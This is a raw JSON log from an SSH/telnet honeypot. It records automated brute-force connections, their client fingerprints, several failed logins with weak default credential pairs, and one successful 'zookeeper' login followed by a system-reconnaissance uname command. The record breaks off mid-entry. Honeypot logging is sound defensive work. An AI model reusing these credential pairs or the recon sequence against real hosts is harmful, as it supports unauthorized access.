{"eventid":"cowrie.session.closed","duration":40.80901050567627,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:22.879583Z","src_ip":"45.58.127.90","session":"9c0fb08a2e3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45926,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd7f538aa93","protocol":"ssh","message":"New connection: 176.65.132.129:45926 (159.203.135.109:22) [session: cfd7f538aa93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:23.422814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:23.427131Z","src_ip":"176.65.132.129","session":"cfd7f538aa93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:23.509785Z","src_ip":"176.65.132.129","session":"cfd7f538aa93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:23.762645Z","src_ip":"176.65.132.129","session":"cfd7f538aa93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:24.848241Z","src_ip":"176.65.132.129","session":"cfd7f538aa93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58372,"dst_ip":"159.203.135.109","dst_port":22,"session":"799f761899b0","protocol":"ssh","message":"New connection: 176.65.132.129:58372 (159.203.135.109:22) [session: 799f761899b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:26.825404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:26.832924Z","src_ip":"176.65.132.129","session":"799f761899b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:26.915191Z","src_ip":"176.65.132.129","session":"799f761899b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:27.402194Z","src_ip":"176.65.132.129","session":"799f761899b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:28.487310Z","src_ip":"176.65.132.129","session":"799f761899b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.09594798088074,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:29.428738Z","src_ip":"45.58.127.90","session":"58ce7edfd261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.472957372665405,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:30.080535Z","src_ip":"45.58.127.90","session":"e8755f44de91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58382,"dst_ip":"159.203.135.109","dst_port":22,"session":"3826d154737d","protocol":"ssh","message":"New connection: 176.65.132.129:58382 (159.203.135.109:22) [session: 3826d154737d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:30.459597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:30.463763Z","src_ip":"176.65.132.129","session":"3826d154737d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:30.545624Z","src_ip":"176.65.132.129","session":"3826d154737d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:30.795527Z","src_ip":"176.65.132.129","session":"3826d154737d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":34848,"dst_ip":"10.17.0.5","dst_port":22,"session":"7874b308dcf7","protocol":"ssh","message":"New connection: 193.106.245.20:34848 (10.17.0.5:22) [session: 7874b308dcf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:31.111832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:31.116048Z","src_ip":"193.106.245.20","session":"7874b308dcf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:31.238873Z","src_ip":"193.106.245.20","session":"7874b308dcf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user02","password":"12345","message":"login attempt [user02/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:31.762326Z","src_ip":"193.106.245.20","session":"7874b308dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:31.879473Z","src_ip":"176.65.132.129","session":"3826d154737d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:32.888363Z","src_ip":"193.106.245.20","session":"7874b308dcf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58406,"dst_ip":"159.203.135.109","dst_port":22,"session":"01f31bad22c4","protocol":"ssh","message":"New connection: 176.65.132.129:58406 (159.203.135.109:22) [session: 01f31bad22c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:33.854886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:33.858754Z","src_ip":"176.65.132.129","session":"01f31bad22c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:33.940071Z","src_ip":"176.65.132.129","session":"01f31bad22c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:34.194628Z","src_ip":"176.65.132.129","session":"01f31bad22c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.58306527137756,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:34.660362Z","src_ip":"45.58.127.90","session":"aab1a55c0b8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:35.399979Z","src_ip":"176.65.132.129","session":"01f31bad22c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43060,"dst_ip":"159.203.135.109","dst_port":22,"session":"baf3646f34c2","protocol":"ssh","message":"New connection: 176.65.132.129:43060 (159.203.135.109:22) [session: baf3646f34c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:37.296627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:37.300313Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:37.381707Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:37.714731Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:38.050512Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:38.052989Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:38.141469Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:38.146104Z","src_ip":"176.65.132.129","session":"baf3646f34c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43072,"dst_ip":"159.203.135.109","dst_port":22,"session":"c806cc77b185","protocol":"ssh","message":"New connection: 176.65.132.129:43072 (159.203.135.109:22) [session: c806cc77b185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:40.926081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:40.929559Z","src_ip":"176.65.132.129","session":"c806cc77b185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:41.011469Z","src_ip":"176.65.132.129","session":"c806cc77b185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:41.256536Z","src_ip":"176.65.132.129","session":"c806cc77b185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:42.341851Z","src_ip":"176.65.132.129","session":"c806cc77b185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43092,"dst_ip":"159.203.135.109","dst_port":22,"session":"2934801b6218","protocol":"ssh","message":"New connection: 176.65.132.129:43092 (159.203.135.109:22) [session: 2934801b6218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:44.341426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:44.345439Z","src_ip":"176.65.132.129","session":"2934801b6218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 